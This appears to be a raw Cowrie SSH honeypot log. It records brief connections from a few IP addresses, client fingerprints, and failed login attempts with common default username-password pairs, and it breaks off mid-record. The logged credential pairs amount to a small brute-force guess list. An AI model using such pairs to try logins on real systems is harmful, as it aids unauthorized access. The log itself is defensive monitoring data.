{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:42.233430Z","src_ip":"40.81.244.142","session":"19c5521c5a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:42.419784Z","src_ip":"40.81.244.142","session":"19c5521c5a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver1","message":"login attempt [csgoserver/csgoserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:43.198935Z","src_ip":"40.81.244.142","session":"19c5521c5a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:44.391231Z","src_ip":"40.81.244.142","session":"19c5521c5a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":41022,"dst_ip":"159.203.135.109","dst_port":22,"session":"98a89ac2ed4f","protocol":"ssh","message":"New connection: 58.69.56.44:41022 (159.203.135.109:22) [session: 98a89ac2ed4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:56.838181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:56.843716Z","src_ip":"58.69.56.44","session":"98a89ac2ed4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:57.076055Z","src_ip":"58.69.56.44","session":"98a89ac2ed4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin1234","message":"login attempt [postgres/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:58.034914Z","src_ip":"58.69.56.44","session":"98a89ac2ed4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:59.274951Z","src_ip":"58.69.56.44","session":"98a89ac2ed4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":34956,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c70c690f229","protocol":"ssh","message":"New connection: 222.167.161.198:34956 (159.203.135.109:22) [session: 7c70c690f229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:29.749690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:29.754352Z","src_ip":"222.167.161.198","session":"7c70c690f229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:30.022585Z","src_ip":"222.167.161.198","session":"7c70c690f229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"userpassword","message":"login attempt [user/userpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:31.122464Z","src_ip":"222.167.161.198","session":"7c70c690f229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:32.393328Z","src_ip":"222.167.161.198","session":"7c70c690f229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":57678,"dst_ip":"159.203.135.109","dst_port":22,"session":"2812c171ced6","protocol":"ssh","message":"New connection: 40.81.244.142:57678 (159.203.135.109:22) [session: 2812c171ced6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:45.109792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:45.113756Z","src_ip":"40.81.244.142","session":"2812c171ced6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:45.312920Z","src_ip":"40.81.244.142","session":"2812c171ced6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:46.156385Z","src_ip":"40.81.244.142","session":"2812c171ced6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:47.359730Z","src_ip":"40.81.244.142","session":"2812c171ced6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":58208,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f97c4782cf","protocol":"ssh","message":"New connection: 58.69.56.44:58208 (159.203.135.109:22) [session: 40f97c4782cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:58.438793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:58.475499Z","src_ip":"58.69.56.44","session":"40f97c4782cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:58.715221Z","src_ip":"58.69.56.44","session":"40f97c4782cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest2023","message":"login attempt [guest/guest2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:31:59.658237Z","src_ip":"58.69.56.44","session":"40f97c4782cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:00.904728Z","src_ip":"58.69.56.44","session":"40f97c4782cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":29084,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd97a9120f4","protocol":"ssh","message":"New connection: 222.167.161.198:29084 (159.203.135.109:22) [session: bcd97a9120f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:32.370467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:32.376042Z","src_ip":"222.167.161.198","session":"bcd97a9120f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:32.647322Z","src_ip":"222.167.161.198","session":"bcd97a9120f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin/123456","message":"login attempt [root/admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:33.752886Z","src_ip":"222.167.161.198","session":"bcd97a9120f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:35.026230Z","src_ip":"222.167.161.198","session":"bcd97a9120f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ce58d87500","protocol":"ssh","message":"New connection: 40.81.244.142:49774 (159.203.135.109:22) [session: 38ce58d87500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:46.977199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:46.982376Z","src_ip":"40.81.244.142","session":"38ce58d87500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:47.178275Z","src_ip":"40.81.244.142","session":"38ce58d87500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftp","message":"login attempt [ftpuser1/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:47.979079Z","src_ip":"40.81.244.142","session":"38ce58d87500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:49.174606Z","src_ip":"40.81.244.142","session":"38ce58d87500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":47158,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d59e148b55","protocol":"ssh","message":"New connection: 58.69.56.44:47158 (159.203.135.109:22) [session: b8d59e148b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:55.511312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:55.516325Z","src_ip":"58.69.56.44","session":"b8d59e148b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:55.753827Z","src_ip":"58.69.56.44","session":"b8d59e148b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftp","message":"login attempt [ftpuser1/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:56.707273Z","src_ip":"58.69.56.44","session":"b8d59e148b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:32:57.947037Z","src_ip":"58.69.56.44","session":"b8d59e148b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":54098,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1473e835814","protocol":"ssh","message":"New connection: 96.70.252.227:54098 (159.203.135.109:22) [session: f1473e835814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:04.034153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:04.043667Z","src_ip":"96.70.252.227","session":"f1473e835814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie